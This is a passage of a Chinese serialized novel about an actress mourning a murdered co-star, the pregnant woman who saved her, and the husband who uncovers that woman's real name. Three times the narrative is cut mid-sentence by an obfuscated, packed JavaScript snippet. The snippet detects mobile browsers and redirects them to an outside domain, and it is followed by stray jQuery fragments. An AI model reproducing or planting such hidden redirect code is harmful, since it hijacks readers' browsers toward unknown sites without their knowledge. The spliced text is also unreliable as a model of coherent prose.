“知渺,警察找到我这件事,会不会影响到你?”程薇柔突然正襟危坐,声音也抬高了,吐出一句非常清晰的问题,把江知渺反倒是问住了。 “为什么这样问?”江知渺以为,被警察找上门会给程薇柔带来很大的困扰,毕竟自己就曾经亲身体会过马政阳不达目的不罢休的审问,眼前这个柔弱怯懦的女孩恐怕很难承受。 转眼间,又像是什么都没发生一样,程薇柔吸了吸鼻子,忽然摇着头笑了起来,目光低垂着,口中振振有词,但似乎连不成一句话,很难听清内容。 “……没,没什么。”她带着若有若无的自嘲,长长地呼出一口气来,右手握紧拳头,在胸口用力地锤了几下。 “薇柔,你怎么了?哪里不舒服吗?我帮你叫医生过来。”江知渺站起身来,想要去按床头的紧急呼叫按钮。 “我没事!”程薇柔几近尖锐的一声尖叫让她吓了一跳,她的手停在半空,愕然地看向病床上瘦弱的女孩。 “我没事,真的。”程薇柔恢复了往日的细声细语,堆起满脸的笑意,“可能是被警察讯问,太紧张了吧,现在已经好多了。” 她接着讲道:“刚才的事情还没说完,知渺,那个警察问我:我为什么要救你——” 程薇柔顿了许久,自然短翘的睫毛不规律地颤动,频繁的眨眼昭示着她在专注地思考,最后终于找到了合适的措辞:“我和她说,因为你是一个好人。” 你为什么要救我——这个问题已经埋在江知渺心底很久了,但她一直没有找到合适的时机问出口。 程薇柔毫不犹豫地为她挺身而出,必然是有着非常充分的理由,而她却毫不知情,还明晃晃地去询问,这实在太过冷漠残忍,她只是想想就觉得愧疚。 如今突然得到答案,江知渺反倒是不知所措了。她设想过一万种可能,却偏偏没有想到,答案居然只有这样简单的几个字。可是就这几个字,让她最难以说服自己。 “我很差劲吧?”她曾经这样问过柏霆宇,真心的发问,就在柏霆宇戳穿她真实的家庭背景时。 伸手不见五指的夜空里,连一颗星星都找不到。黑夜如同一池深不见底的墨水,将他们从头到脚完全淹没。 柏霆宇从背后紧紧地抱住她,炙热的鼻息扑在耳畔,有力的心跳打在她的背部,渐渐与她剧烈的心跳节奏融为一体。 他到底在说什么?明明已经拆穿了她编造的所有谎言,为什么又要居高临下地说一句“我和你是一样的人”?好像品德高尚者大手一挥,给所有卑劣之人签下赦免令,用一如既往的高尚,施舍给她一条活路,实际上,却无异于打了她的脸。 她挣扎着甩开他,踉踉跄跄地向后退去,“你走”,她只希望柏霆宇不要像一面照妖镜般出现在自己的眼前,映照出她惺惺作态的丑陋。 柏霆宇反倒迎着她,不断地靠近,“江知渺,你听我说,接下来的一字一句,你都要认真听好——” “我根本不是什么在意大利长大的文艺青年,我父母也不是什么意大利的制片人,我这辈子根本就没有去过意大利。” “我出生在N省的一个小山村,我父母都是那里的农民,我16岁就从中学辍学出来讨生活,在酒吧卖唱的时候被星探偶然发现,这才进了娱乐圈。” “我的父母坚决反对我做演员,我已经八年没有和他们联系过了,在这个世界上,我早就没有了亲人。” “江知渺,现在,我在把你当做我唯一的亲人。” 程薇柔冰凉的指尖触碰到她的脖颈时,江知渺下意识向后躲闪,这才回过神来。她张张嘴,两行泪水却沿着唇瓣滑落。对上程薇柔关切的眼神,她再也不敢直视一刻,摸索着拿起自己的包,快步往门外走去。 颤抖的手掌扶住门框时,她突然想起了什么,微微偏过头,却没敢看向程薇柔,视线落在干净的瓷砖上,说道:“你放心,明天我会让人带你住到我家,这样警察就不会再来找你了。” 说完,江知渺夺门而出。 这家私立医院的康复楼建在一片广阔的私人花园最里侧,临近晚饭时分,几乎没有人在花园里休息。江知渺一路奔跑,高跟鞋几次让她险些崴脚,她却不愿意停下一分一秒。 耳边簌簌吹过的风声让她不安的心灵得到了些许安慰,然而只要慢下脚步,那些没来由的情绪就会蔓延上来,张牙舞爪地将她拆吃入腹。 她始终回避着这些思绪,潜意识里以为只要时间足够长,就能够平复。可愈是压抑,就愈要爆发。 拳头大小的心脏被人为放进一杯不断加压的黄桃罐头,瓶盖打开前,隔着玻璃就能够看到里面大块金黄果肉;然而,一旦将瓶盖掀开一个缝隙,那些黏腻的汁水就抑制不住地流淌到手上,糟糕的触感让人失去品味的兴趣。 她明明跑得非常疲惫了,双脚沉重如铁,身体摇晃失衡,却难以停下脚步,在奔跑的时间里,她可以让自己只专注于这一件事。 等到再也跑不动了,骤然站定,江知渺如释重负,她卸下了心里憋着的那一口闷气,双手捂住脸,在花园角落的郁金香花丛中,放声大哭。 她终于不得不承认现实:柏霆宇死了,死在24岁的盛夏。 像她那个倒在雪地里的弟弟一样,无论他们俩之间发生过什么,那个在她面前会跑会跳会说会笑的活生生的人,如今正躺在冰冷的太平间里,解剖刀将他开膛破肚,他什么感觉也没有了。 从警察把她带走,告诉她柏霆宇死了的那个晚上开始,她从来没有为他掉过一滴眼泪,或者说她始终控制着自己,不允许自己为他落泪。 她该以什么身份为他哭一场呢?作为他认定的姐姐?关系亲密的前辈?在她想明白这些之前,她就已经背上了杀害柏霆宇的嫌疑,更让她失去了为他哭泣的立场。 可现在,她不想再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816862|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克制,亲人也好,朋友也罢,无论什么身份,她都不想再掩饰自己极度的悲痛。痛到几乎失去痛觉,痛到过了这么久才有了真实感。 “为什么,为什么从来没有人问问我:柏霆宇死了,你伤心吗?” 她不该伤心吗?不能伤心吗?哪怕她是个无耻的骗子,她也还是个拥有情感的人类。更何况,柏霆宇于她,并非一个普通同事,甚至不是普通朋友。 她哭得肝肠寸断,头皮发麻,喉咙因为哭喊而变得沙哑。郁金香高耸的花枝给了她保护伞,她无力地坐在花圃角落,手指紧紧地抠住湿润的泥土,直到夜色逐渐降临,寒意自地心深处袭来,才强撑着站起身来。 在她迈着沉重的脚步缓缓离开后,康复楼最后一间亮着灯光的房间,也随之熄灭了。 夜幕缓缓落下,A市的市中心区,灯火璀璨,如临白昼。刘恪辰伸了个懒腰,大摇大摆地收拾东西准备下班。 他的师父邵聿已经出差一周了,虽然不知道去了哪里,但看起来在那边工作很忙的样子,这一周都没有联系过他。 一开始刘恪辰还有点不适应,毕竟邵聿是台里出了名的工作狂,经常工作到半夜,直接睡在台里,平日里跟着他是既幸福又痛苦。 幸福在于邵聿真的会无私地教给他很多主持人的技巧和经验,还让他放心大胆地承担了很多重要项目,痛苦就在于这高强度的工作负担,与毫无人性的工作节奏。 不过仅仅过了两天,他就完全适应了这种自由的空气。《钩沉》第三季刚刚收官,距离下一季还有很长的时间,他们组目前没有什么要紧的工作,刘恪辰每天来到台里就是处理一些零碎的事务,晚上六点准时下班溜去健身房。 “我跟你说,练了这一周,我感觉我这肩都宽了,你看看,T恤是不是看着都有点紧了?”他小跑两步,赶上了电梯,厢内人满为患,他找了个缝隙还是挤了进去,恰好在人群中看到了自己在央广的同班同学,于是摘下耳机,大着嗓门聊了起来。 邵聿的威名在台里早已人尽皆知,看到他一反常态地活跃,同学小声问道:“最近没跟聿哥加班吗?” 或许是这几天闲适自在的生活冲昏了他的头脑,刘恪辰脱口而出:“加什么班?别跟我提这俩字,晦气!” 谁知话音未落,他的手机就催命似的响了起来。刘恪辰垂眼看了看屏幕上的人名,吓得差点把手机摔到地上,颤抖的嗓音引得全电梯侧目,“邵……是聿哥!” 电梯里的同事们无论是否认识,都不约而同向他投来同情的眼神。刘恪辰一咬牙一跺脚,把耳机塞回耳朵里,颤颤巍巍地按下接通键:“喂,聿哥。” “喂……喂?听得见吗?” “喂喂喂,我听得见,聿哥,你能听到我说话吗?” 刘恪辰无声地屏住呼吸,快要把下唇咬出了血,绝望地望着电梯里的显示屏,电梯刚到21层,距离一层遥遥无期,中途也没有停下的机会。他只觉得心已死,僵硬地回答道:“我在……我在电梯上。” 电话那头邵聿叹了口气,“什么?我听不清,算了,你能听得见是吧,那我就直接跟你说了。我有一个移动硬盘在李璟意手上,是VeilMansion的监控视频,你去找她拿回来。还有,去问问她那个徒弟伍旸,他们这几天从监控里查出什么了。” 邵聿背景里似乎有人经过,操着刘恪辰听不懂的口音,很快邵聿就继续说道:“明天你再去找她拿吧,拿完直接放到我家里,大门密码我明早发给你。”他停顿了一下,放慢了语速,“谢了,回去我请你吃饭,今天先下班吧。” 说完,也没等他回复,邵聿就挂掉了电话。直到电梯落到一层,刘恪辰才渐渐回过神来,难以置信地看着自己的通话界面。 “聿哥居然让我下班?我没出现幻觉吧?这是猪撞树上了,还是我撞猪上了啊?” 30. 争执 “导演,可以再来一条吗?”江知渺冲着修导挥了挥手,看到他高高竖起的大拇指后,快速地整理好情绪,调整呼吸,进入拍摄状态。 “这次又怎么了啊?”吴佑安不耐烦起来,本来就是夜戏,人困马乏,今晚任务又重,可这第一条已经被江知渺要求重拍了三次,他早已没了耐心。 江知渺原本闭着眼睛,听到他说话,挑起一只眼睛瞥了他一眼,很快又闭上了,“质量太低。” “你什么意思?”吴佑安心底升起一股无名火,嗓门也跟着抬高了,周围的剧组工作人员见状纷纷停了下来,噤若寒蝉,默默地看着他们两人。 江知渺沉下一口气,从冉然手里拿过剧本,翻到他们正在拍摄的这一段,用手指着说道:“第一条,你把‘十年’说成了‘多年’,这个情绪的程度完全不同,就算之后你要用配音,口型也对不上。” “第二条”,江知渺啪地阖上剧本,瞪着他说道:“我心虚地不敢看你的时候,你不应该做点反应吗?久别重逢,看到我拉着一个孩子,你的讶异、震惊、难以置信、遗憾和嫉妒呢?我没有感受到。” “刚才那条,你确实是改了,加了点反应,但小动作太多,眼神也在乱飞。你是个上市公司的CEO,大大小小的场面见过很多,就算是亲眼看见心爱的女人有了孩子,也不应该显得这么没定力。” 说完,她叹息道:“请问我们现在可以继续拍了吗?大家都在等。” 吴佑安恼羞成怒,在娱乐圈混了快十年,走到如今一线小生的位置上,还从来没有人敢这样质疑他的演技,驳他的面子。 他上前两步,冲到江知渺面前,轻蔑地在她的五官上扫视,冷笑了一声,“跟你搭过戏的演员里,你看得上谁啊?”而后,他突然作出恍然大悟的模样,刻意提高了音量,夸张地说道:“哦,想起来了!你只夸过柏霆宇的演技,我没记错吧?” 江知渺的瞳孔陡然放大,吴佑安戏谑的笑容映射在她的眼底,怒火中烧,然而却像是有什么力量束缚了她的手脚,让她无法动弹,只能强撑着气场,与他对峙。 “两位老师,我们休息一下吧。”场务轻手轻脚地跑了过来,及时地打断了凝固的气氛。 他们各自退开一步,修茂德也赶了过来,手里的对讲机还没来得及放下。他一手握住一人的肩膀,朗声笑道:“哎呀,多大的事啊,来来来,跟我去那边坐会儿。” “修导,我跟她没有什么可说的,她这样侮辱我,还怎么合作?”吴佑安指着江知渺说道。 “吴佑安,我从来都是对事不对人,一切为了呈现出更好的拍摄效果。假如你认为我的表演方式不对,也欢迎你当面提出你的理解。如果你认为这是在侮辱你,那我只能告诉你,之后我依旧会直接指出你表演中的问题。我江知渺,问心无愧。” “你……”吴佑安迎上她锐利的目光,气恼地吊起眼尾,一句话也说不出来。 “好好好,知渺、佑安,咱们有什么话好好说,别吵架嘛。”修茂德语重心长地拍了拍吴佑安的肩膀,“佑安,按照通告单,这场之后你今晚就下工了,这样吧,后天我们再补拍,你今天早点回去休息。” 他转过头,向江知渺问道:“知渺,你留下继续拍后面的几场戏,可以吧?” 听完修导的安排,吴佑安狠狠地剜了江知渺一眼,立刻离开了片场。江知渺与修导视线相汇,默契地无奈一笑。 早上六点,天边升起一抹微光时,总算是完成了通告单上的拍摄计划。大家哈欠连天,片场里除了收拾设备的声音,几乎没人说话。 “知渺姐,你别往心里去,大家都知道不是你的问题,都怪吴佑安这个自大的脾气。”江知渺正揉着肩膀,楚妍姝不知道从哪儿跳了出来,亲密地拉住她的手臂。 她也一直拍到了六点,可脸上仍然容光焕发,没有一丝疲惫的痕迹,江知渺不禁在心底感叹起来,真是岁月不饶人,二十三岁的年纪,哪怕熬大夜也没关系。 其实她已经快要忘了跟吴佑安这次争吵了,她和很多合作过的新生代演员都吵过架,当然,大部分是她单方面直言不讳,对方恼羞成怒,不过拍摄结束后双方也不会往心里去,毕竟播放量总能证明她是正确的。 江知渺不在乎戏外关系如何剑拔弩张,“反正,只要剧播出来的效果好就行了”,她也是这样跟梁栖月解释的,所以这些年里,梁栖月兢兢业业地单方面帮她去给许多人道过歉。 “我倒是希望,在我演戏的时候,能有人一直给我提些建议呢!”楚妍姝嘴角向下撇了撇,“我不是科班出身的,很多东西都要自己去学,所以总怕自己学得不对。” “你演得很好了。”江知渺拍拍她的手臂说道:“即使是科班出身,也总会对表演这件事产生新的困惑。‘所谓演员,都要掌握边拍边学的能力’,这是视协主席曾经说过的话。老戏骨尚且如此,更何况我们这些青年演员呢?不过如果你愿意的话,可以随时来和我分享你的想法,我们一起探讨。” “真的吗?”楚妍姝惊喜得跳了起来,不远处,接她回酒店的车已经到达。江知渺忽地被她迎面抱住,转眼间又松开双臂,只见她雀跃着跑向汽车的方向,一路不断朝她回头招手,“知渺姐,晚上见!” 江知渺目送着她跳上汽车后座,两位助理众星捧月般,一个给她递上咖啡,一个细心地帮她盖上薄毯,娇小红润的脸庞从毛绒绒的毯子里露出来,花团锦簇,透过敞开的车窗,她向着江知渺的方向咧开嘴笑了起来,连空气里都洋溢着青春的气息。 她也被楚妍姝的活力感染了,难得地高举起手臂,向她挥手道别。江知渺不得不承认,自己有些羡慕她:家境优渥的大小姐,从小锦衣玉食长大,年纪轻轻就能参演很多大IP剧,表演也小有天赋,假以时日一定会有扛剧的能力。 幽静的休息区,很快就只剩下她一个演员。江知渺等了十多分钟,也没见到冉然的影子。以往收工后冉然都会提前联系司机将车开过来等着她,今天不仅车不见踪迹,连冉然也消失了。 “去哪儿了呢……”江知渺忧心忡忡地走向停车场,冉然从来都不是没有时间观念的人,分明在五点半左右,自己还亲口告诉她会马上收工的。 站在空荡荡的停车场里,连车的踪影也摸不着,江知渺忐忑的心揪得更高了。她拒绝了剧组最后一辆车离开时的搭乘邀请,立刻给冉然拨打电话。 一连打了五个,直到天边都已完全放亮,冉然终于接通了她的电话,“喂,知渺姐。” 她的声音非常微小,听着很闷,像是捂住听筒发出的声音。江知渺焦急地问道:“冉然,你在哪里?出什么事了吗?” “对不起,知渺姐。我……”她的声音戛然而止,几秒钟后,江知渺只听到这句话最后的几个字,“……请几天假。” “你说什么?刚才信号不好,中间没有听清。” “……没什么,姐。”她的背景音里传来空旷的回音。 江知渺放缓了语调,“好,我给你放一周的假,你放心去处理自己的事情,需要我帮忙也尽管开口。” “谢谢知渺姐。”冉然吸了吸鼻子,“那我先挂了。” “冉然!”江知渺叫住她,“真的没有什么事吗?” 电话那头沉默了许久,最后她还是轻轻地回答道:“没事的。” 江知渺用手指轻轻揉了揉因缺少睡眠而胀痛的太阳穴,手机上显示时间已经到了七点钟。她打开叫车软件,可片场位于偏远郊区,本就没什么出租车,加上时间比较早,等了十几分钟,才等来司机应答。 回酒店的路上有很长一段沙土路,坑洼颠簸,她坐在后座上,睡得也不安稳,迷迷糊糊间,隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833987|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到手机震动,江知渺艰难地从困意中强行唤醒大脑,看了眼消息内容,对司机说道:“师傅,不好意思,我想修改目的地。” “行,去哪儿?” “丽景苑。” 她收到梁栖月的消息,就在刚刚,程薇柔已经被安全地送到了她的家里,江知渺总是放心不下,决定放弃休息时间,赶回家看望一趟。 自从昨天踩点下班被邵聿一个电话抓了个正着,刘恪辰就如惊弓之鸟,再也不敢放肆。九点上班,他八点就站到李璟意的办公室门前,等她刚来上班,立刻跟她要回邵聿的移动硬盘。本以为还要周旋一番,没想到李璟意爽快地让伍旸直接就拿给了他。 他马不停蹄地跑向地铁站,直奔邵聿家。用临时密码打开门锁后,门内却正站着一个瘦弱的年轻女孩,与他面面相觑。 “您是……” “您是……” 两个人同时开口,刘恪辰先向她做了自我介绍:“我叫刘恪辰,是国立电视台的实习主持,来给我师父送东西。请问您是……” 程薇柔双手绞在背后,垂眼看着自己的脚尖,正不知如何开口,楼道里突然传来一阵轻响,江知渺推门而入,看到刘恪辰时,先是愣了片刻,上下打量一番,随即问道:“你是邵聿的徒弟吧?” “是是是,师母好!”刘恪辰第一次见到江知渺,站得规规矩矩,手也板正地贴在身侧,乖巧地打招呼,“师父让我给他送资料,打扰师母了。” 江知渺的视线在他手里的移动硬盘上扫了一眼,从鞋柜里拿出一双拖鞋递给他,友善地笑道:“书房在最里侧那间,你去吧。” “诶诶,好嘞,谢谢师母。”他手忙脚乱地换上鞋,从程薇柔身边擦身而过的时候,忍不住回头问道:“师母,这位是……” “哦,这位是我朋友程薇柔,在我家暂住一段时间。”江知渺也换了鞋走进来,站到她的身旁,“薇柔,这位是国立电视台的主持人,刘恪辰。” “刘主持好。”程薇柔怯生生地向他问好。 “师母,我就是个实习的,还称不上主持人。这,说得我怪不好意思的……”刘恪辰红着脸挠了挠头,一溜烟就钻进了书房。 他按照邵聿的指示,把硬盘放进书桌左侧最上方的抽屉里。宽大的实木书桌上干净整洁,摆着一台电脑,几本播音传媒类的书,以及一个相框。 照片里是一男一女两个年轻人,刘恪辰忍不住多看了几眼,几乎不敢相信,这个笑得眼睛都看不见的男人,居然是他那个严肃高冷的师父。师娘倒是没什么变化,还是那么美,怪不得是娱乐圈最红的花旦。 他刚要伸出手去拿起来仔细看看,兜里手机猝不及防响起了响亮的铃声,他差点跳起来,如同拿着一块烫手山芋,捧起手机说道:“喂……喂,聿哥。” “移动硬盘拿到了吗?”邵聿深沉的声音传来,刘恪辰只觉得割裂,很难把这个成熟的男声和眼前照片里这个大男孩联系起来。 “拿到了,已经给您放到书房里了!” 话音未落,书房的门轻轻叩响,三声过后,门从外打开,江知渺的身影出现在门口,她拿着一个晶莹剔透的玻璃杯,问道:“恪辰,你想喝饮料还是茶水?” “啊?啊!师母,您不用客气,我这就回台里了。”他举着电话快步走出书房,向江知渺深深地鞠了一躬,“叨扰师母了,师母再见!” 他只顾着赶紧跑路,脚都迈出房门了,又被程薇柔从身后叫住,“那个……刘主持,你的鞋!” 刘恪辰低头一看,自己还穿着拖鞋,于是灰溜溜地掉头回来换鞋,出门时险些被门槛绊倒,连跑带跳地溜出了邵聿家。 这一连串的操作下来耽误了不少时间,本以为邵聿已经挂断了电话,没想到刚走进安静的电梯,电话那头就冷声问道:“你刚才在和谁说话?” 31. 过往 刘恪辰飞快地回答道:“是师母,师母刚刚回家了。” “我听得出来。”邵聿的声音里夹杂了几分无奈,“还有一个人是谁?” “哦,还有师母的朋友,叫……”刘恪辰想了几秒,“叫程薇柔,说是借住一段时间。” “朋友?”邵聿重复了一遍他的话,久久没有回应,刘恪辰也猜不透他的心思,不敢吱声。直到电梯缓缓停在一层,才等来邵聿的后文,“对了,硬盘里的监控视频,李璟意他们都查出什么,你问出来了吗?” 刘恪辰诉苦道:“聿哥,伍旸说他以后再也不会给我透露消息了! “上次请他那几顿饭,我不是帮你报销了吗?” “就因为这个,意姐骂伍旸吃人嘴短,说他吃了你请的饭,就把他们打算采访冯教授的计划透露给我,结果被我们抢先约了专访。” “冯炳本来就是《钩沉》的常驻嘉宾,她要抢我们的人,难道我们就得乖乖地让她抢走吗?”邵聿发出一声冷笑,“问不到就算了,等我出差回去,自己查。” “聿哥,你要回来了?”刘恪辰期待地抬高了语调。 “年假用完,下周就得回去了。怎么,我不在,你不是正好乐得清闲吗?” 邵聿低沉的声音自带冷厉,刘恪辰不由自主地打了个冷战,脸皱成了一团,心道:完了,这几天太浪,聿哥都知道了! 他尴尬地赔笑道:“啊?啊……什么呀?聿哥,你不在,咱们组的人都可想你了!” “行了,趁我回去之前,抓紧时间潇洒吧,等我回去咱们就要准备冯炳的专访了,到时候让你出镜。”听到这里,刘恪辰立刻激动地跳了起来,早就把刚才的忐忑忘得一干二净。 江知渺带程薇柔在家里各个房间转了一圈,一一向她介绍,最后拉着她安坐在沙发上,“有什么需要的就跟我说,把这儿当自己家,好好修养。每天我会请医生上门来为你换药,产检的日期我都让经纪人记下来了,到时候她会安排人带你去检查……” 她顿了顿,视线习惯性地飘到邵聿的房门上,不自然地眨了眨眼,对程薇柔说道:“那是我老公的房间,他不常在家,要是碰上他回来,打声招呼就行,他不会打扰你的。” “知渺”,程薇柔咬了咬自己苍白的嘴唇,踟蹰地问道:“你们没有住在一起吗?” 分居太久,江知渺完全没想到这一层,突然被人当面问住,囫囵道:“我们俩工作时间都不固定,住在一起会影响彼此休息。” 她拿起水杯,润了润干燥的唇瓣,原以为这个话题会就此作罢,没想到程薇柔却追问道:“你们是什么时候开始分居的?” 这在江知渺听来就是明晃晃的冒犯了,她诧异地看向程薇柔,面前的女孩平日里总是怯怯的,说话做事也都十分得体,从来没有这种情况出现。 可她到底救了自己一命,江知渺心底说着她大概是年纪小比较好奇吧,于是克制地笑了笑,说道:“这些小事没什么可说的,你吃过早饭了吗?我去帮你做个三明治。” “那我给你讲讲我的故事,怎么样?”江知渺刚准备起身去厨房,程薇柔突然开口,将她叫住了。 她又坐回程薇柔身边,程薇柔没有花太长时间思考,很快便开口说道:“你不好奇我的故事吗?”接着,她像是早已排练过无数次,娓娓道来。 “我是家里最小的孩子,在我之上还有一个姐姐和四个哥哥。” “从出生之日起,我就变成了家里的透明人。父亲外出打工时摔断了腿,躺在家里什么也做不了,母亲一个人种着几亩地,养活我们一大家子人。” “我年纪太小,没法帮家里干活,又是个女孩,家里人都觉得我是个赔钱货。”她轻描淡写地就说出了这句话,简单的几个字拼凑起来,像是一把利刃刺向江知渺的心头,程薇柔却连眼睛都没有眨一下。 “我本来以为,自己会这样活到十八岁,然后嫁给附近村子里的哪个男人,跟着他到大城市去打工,卖苦力,在狭小的地下室里一个接一个地给他生孩子。” “后来我遇见了他。”程薇柔情不自禁地带上几分温柔的笑意,手掌覆上小腹,“我们是初中同学。” “因为长得帅气,又很会打篮球,成绩也不错,很多女生都暗恋着他。但一开始,我没有。或许是他太过耀眼吧,太过耀眼的东西,我是不敢妄想的。” “就这样度过了初中两年,直到初三的时候,因为和班上一个男生打架,校长将他转到了我们班,班主任安排我们成了同桌。” “你知道他为什么和那个男生打架吗?”她的脸上第一次有了些生动的神情,“因为那个男生对支教老师开黄腔,他去阻止,一来二去,这才打了起来。” “其实我爱的从来不是他那副好看的皮囊”,她顿了顿,深深地看着江知渺,说道:“他是一个很好很好的人,就像你一样,知渺。” 原来她救我,是因为我和她所爱之人品格相像吗?江知渺总觉得哪里不对劲,但程薇柔没给她询问的时间,继续说了下去。 “做了同桌之后,我才发现,原来他就是我一直在渴求的那个真正懂我的人。闭塞的山村,交缠的亲族关系,平淡的一日三餐,这是我们共同的命运;而逃离这一切,也是我们共同的梦想。” “我喜欢读书,想要到大城市去,进入顶尖大学的中文系读书;他喜欢电影,想要考入中央艺术大学导演系,去接受专业的教育。” 说到这些,程薇柔眼中闪过星星点点的泪光,与理想大相径庭的现实正血淋淋地铺在眼前,让她酝酿好的情绪濒临崩盘。 江知渺不知该如何安慰她,她忽然明白昨天程薇柔为什么要对她的“全能”表达艳羡了,或许在她眼中,自己正过着她理想中的生活。现在出言安慰她,反倒成了对她的残忍。 “初中合格考结束后,我们就一起逃了出来。没告诉家里任何人,只有我们两个。”她窝进沙发角落,手指紧紧地抓住了怀里的抱枕。 “我们约定好,要打工三年,攒够学费后参加同等学力考试,再以社会考生的身份参加高考。从十六岁到十九岁,我们白天出去打工,晚上就挤在出租屋的一张书桌上,自学高中课程。” 程薇柔自嘲似的笑道:“知渺,其实我最怀念那三年的时光:简单得不能再简单,一切都充满希望,虽然我们俩一无所有,但至少还拥有未来。” 说了很久,她的嗓子开始沙哑,重伤后微弱的气力也开始告急,呼吸声逐渐加重,很费力的样子。江知渺给她倒了一杯温水,低声问道:“要不要先去休息一会儿,以后再讲?” 程薇柔轻咳几声,还是坚定地摇了摇头,“今天不说,恐怕我就没有勇气再开口了。” 她欠身将杯子放下,伸手指了指江知渺的水杯,“听我说了这么久,你也累了,喝点水吧。” 江知渺捧起水杯喝了几口,便听程薇柔深深地吸了一口气,咧开嘴角,笑着问道:“知渺,你觉得我的名字好听吗?” 江知渺点点头,“‘采薇采薇,薇亦柔止。曰归曰归,心亦忧止’。给你起名字的人,应该很爱你吧,希望你永远像柔嫩初发芽的薇菜一样,坚韧而不失柔情。” 程薇柔的脸颊飘起两团浅浅的红晕,点了点头,“你说的没错。这个名字也是他给我起的,十六岁之前,我是没有自己的名字的。” 雨后山路崎岖泥泞,邵聿租的车子前轮陷进泥坑,他尝试推了好几次,都没法把车轮从坑里解救出来。 昨晚,他赶在暴雨之前进山,停在山脚,今早查看新闻时就发现,上山的唯一一条路,昨天夜里被小型泥石流堵住了。上午抢险人员还在清理,估计中午才能恢复通行,也就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849170|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,除非这荒无人烟的大山里有人准备下山之外,是不会有好心人能来帮他推车了。 在原地折腾了一个小时后,早上六点,邵聿无可奈何地叹了口气,换上轻便的运动鞋,将车锁好,准备步行进山。 只是他还是低估了昨晚的雨势,大暴雨将山上厚厚的污泥冲到柏油路面上,他的每一步都踩在泥泞之中,行进得十分艰难,原本开车十几分钟的路途,足足走了两个小时,才终于抵达村子里。 他刚挂断刘恪辰的电话,简陋的学校大门内,一个身材矮小、衣着朴素的中年女人,快步向他赶来,操着带口音的普通话喊道:“不好意思啊,刚跟一个学生家长谈话,耽误了点时间。” 她熟练地解开门上的大锁,将沉重的铁栅栏门推开一个缝隙,把邵聿迎了进来。邵聿向她伸出右手,得体地说道:“曹老师您好,我是之前跟您联系过的国立电视台主持人,邵聿。” “您好您好!”她激动地握住邵聿的手,“我是石禾中学的语文老师,曹虹。真想不到,我还能亲眼见到电视上的主持人!” 邵聿由她领着走进去,学校的面积非常小,一马平川的低矮平房中,隐隐传出些读书声,每个年级只有两个班,教室里稀稀拉拉地坐着十来个学生。 “唉,咱们这儿就是条件不太好,其实学生都是好学生。”曹虹叹息道:“要是升学率高点,他们也就愿意继续读书了,也不至于年纪轻轻就去外面打工。” “曹老师,我之前微信发给您的那两个人,也是毕业之后就去打工了吗?”邵聿掏出笔记本,开始记录。 “是啊,霆宇和二囡那两个孩子,真是可惜啊。”她从抽屉里翻出一张毕业照,指着上面两个模糊的人影说道:“他们俩的成绩都不错,足够他们去县里读个中专。” “那他们为什么没有继续读书?” 曹老师摇了摇头,“这我也不清楚,我们这儿放弃学业的学生太多了……” 邵聿顺着她手指的方向看去,女孩的样子非常陌生,男孩的样貌倒是没有太大变化,只是多了些棱角,看上去朴素不少,邵聿早已将这张脸深深地烙印在记忆里。 他指着那个女孩,向曹老师问道:“关于这个女生,您还有什么印象吗?” “我只知道她后来和霆宇好了,两人本来是一起出去打工,过了几年却不知道怎么只有她一个人回来了。” 邵聿向前翻了翻自己的笔记本,“曹老师,麻烦您再仔细想一想。我知道警方已经和校长、班主任都了解过两人的情况,但我查看过他们当年成绩单,这个叫程二囡的女孩语文成绩一直都很好,我猜,对于班上比较优秀的学生,作为她的语文老师,您可能会了解得更多一点。” 曹虹若有所思地点了点头,冥思苦想起来。邵聿紧张地盯着她,既期待她开口说出一些有用的线索,又担心她说出让人失望的话语。 “我想起来了!”曹老师猛地一拍桌子,陈旧的木桌剧烈地震颤起来,带起一层厚重的灰尘和木屑。 “合格考前最后一次模拟考试,我判完卷之后,发现有一份试卷上的姓名不属于任何一个学生,登记分数的时候,刚好少了程二囡的分数。” “我拿着那份试卷去问是不是她的,她本来是点了点头,可是不知怎地忽然又开始摇头,直接把卷子抢过来,将名字改回了‘程二囡’。” “您还记得最初的那个名字吗?” 曹老师重重地点了点头,“我记得,刚好取自我教过他们的那首《采薇》,是个很好听的名字,叫‘程薇柔’。” 邵聿愣了一秒,总觉得这个名字太过熟悉,熟悉到似乎刚刚才听到过。 是了!他突然想起来了! 邵聿只觉心脏猛地一沉,浑身血液瞬间凝固,寒意顺着脊背爬上来,如坠冰窟。 “程薇柔?” 32. 险情 “喂,邵峥,你现在在哪儿?在A市吗?” 邵峥接起电话后便听到邵聿焦急如焚的声音,他向助理示意暂停会议,拿着手机离开了会议室,“我不在A市,上周不是告诉你了,这周我在香港出差。怎么了?” “那你手下有没有可用的人现在在A市?” 